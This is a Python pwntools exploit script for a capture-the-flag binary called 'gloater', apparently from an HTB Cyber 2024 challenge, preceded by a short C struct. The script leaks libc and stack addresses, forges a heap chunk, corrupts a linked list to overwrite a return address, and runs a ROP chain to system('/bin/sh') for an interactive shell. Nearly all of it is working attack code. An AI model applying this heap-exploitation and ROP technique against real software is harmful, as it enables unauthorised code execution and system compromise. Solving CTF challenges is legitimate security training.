struct taunt {
  char target[32];
  char* data;
};

#!/usr/bin/env python3


# How to execute: ./exploit.py --remote


from pwn import *
from subprocess import Popen, PIPE
from time import sleep
import sys
import argparse


binary_file = './gloater'
libc_file   = './libc.so.6'
ld_file     = './ld-2.31.so'


binary = ELF(binary_file)
libc   = ELF(libc_file)


def parse_command_line_args():
    parser = argparse.ArgumentParser()
    parser.add_argument('--local', action='store_true')
    parser.add_argument('--remote', action='store_true')
    return parser.parse_args(sys.argv[1:])


def connect(args):
    command = 'docker run -i htb-cyber-2024-gloater'
    if args.remote:
        r = remote('localhost', 9001)
    else:
        r = process(command.split(' '), stderr=sys.stderr)
    return r


def u64x(data):
    return u64(data.ljust(8, b'\0'))


def p64x(*nums):
    data = b''
    for num in nums:
        data += p64(num)
    return data


taunt_cnt = 0
user_is_changed = False
super_taunt_is_set = False


def menu(io, n):
    io.sendlineafter(b'> ', str(n).encode())


def change_user(io, new_name):
    global user_is_changed
    assert not user_is_changed
    menu(io, 1)
    io.sendafter(b'User: ', new_name)
    io.recvuntil(b'Old User was ')
    old_user = io.recvuntil(b'\n')[:-1]
    user_is_changed = True
    return old_user


def create(io, target_name, content):
    global taunt_cnt
    assert taunt_cnt < 8
    assert len(target_name) <= 0x1f
    assert len(content) <= 0x3ff
    menu(io, 2)
    # read 0x1f
    io.sendafter(b'target: ', target_name)
    # read 0x3ff, then malloc(<number of read>)
    io.sendafter(b'Taunt: ', content)
    idx = taunt_cnt
    taunt_cnt += 1
    return idx


def remove(io, idx):
    menu(io, 3)
    io.sendlineafter(b'Index: ', str(idx).encode())


def send_taunts(io):
    menu(io, 4)


def set_super_taunt(io, idx):
    global super_taunt_is_set
    assert not super_taunt_is_set
    content = b'puts:'.rjust(0x88, b'A')
    menu(io, 5)
    io.sendlineafter(b'Taunt: ', str(idx).encode())
    io.sendafter(b'taunt: ', content)
    io.recvuntil(b'puts:')
    libc_puts = u64x(io.recvuntil(b'\n')[:-1])
    super_taunt_is_set = True
    return libc_puts


def main():
    args = parse_command_line_args()
    io = connect(args)

    # set a user name
    io.sendafter(b'> ', b'A'*0x10)

    # set the fake chunk
    fake_chunk = p64x(0xc0ffee, 0xa1, 0xaa, 0xbb, 0xcc, 0xdd, 0)
    first = create(io, b'B'*0x1f, fake_chunk)
    libc_puts = set_super_taunt(io, first)
    libc_base = libc_puts - libc.symbols['puts']
    print(f'libc_puts = {hex(libc_puts)}')
    print(f'libc_base = {hex(libc_base)}')

    ptr_holder = create(io, b'poniter', b'A'*0x38)
    tail = create(io, b'tail', b'B'*0x38)
    dummy0 = create(io, b'dummy0', b'C'*0x28)

    # free the fake chunk
    remove(io, tail)
    remove(io, ptr_holder)
    leak_str = change_user(io, b'GGGG' + p8(0xa0+0x40))
    print(leak_str)
    print(len(leak_str))
    stack_leak = u64x(leak_str[16:-3])
    print(f'stack_leak = {hex(stack_leak)}')
    return_address_holder_example = 0x00007fff20f966b8
    leak_str_example = 0x7fff20f966d0
    return_address_holder = stack_leak - leak_str_example + return_address_holder_example
    print(f'return_address_holder = {hex(return_address_holder)}')
    remove(io, first)

    # overwrite the linked list
    remove(io, dummy0)
    create(io, b'A'*16+b'editor', (b'H'*0x58 + p64x(0x41, return_address_holder)).ljust(0x98, b'I'))

    # build a ROP chain
    libc_pop_rdi_offset = 0x23b6a
    libc_ret_offset = libc_pop_rdi_offset + 1
    libc_binsh_offset = 0x1b45bd
    rop_chain = b''
    rop_chain += p64x(libc_base + libc_ret_offset, libc_base + libc_pop_rdi_offset, libc_base + libc_binsh_offset, libc_base + libc.symbols['system'])

    create(io, b'A'*16+b'dummy', b'J'*0x38)
    create(io, b'A'*16+b'writer', rop_chain.ljust(0x38, b'K'))

    io.interactive()


if __name__ == '__main__':
    main()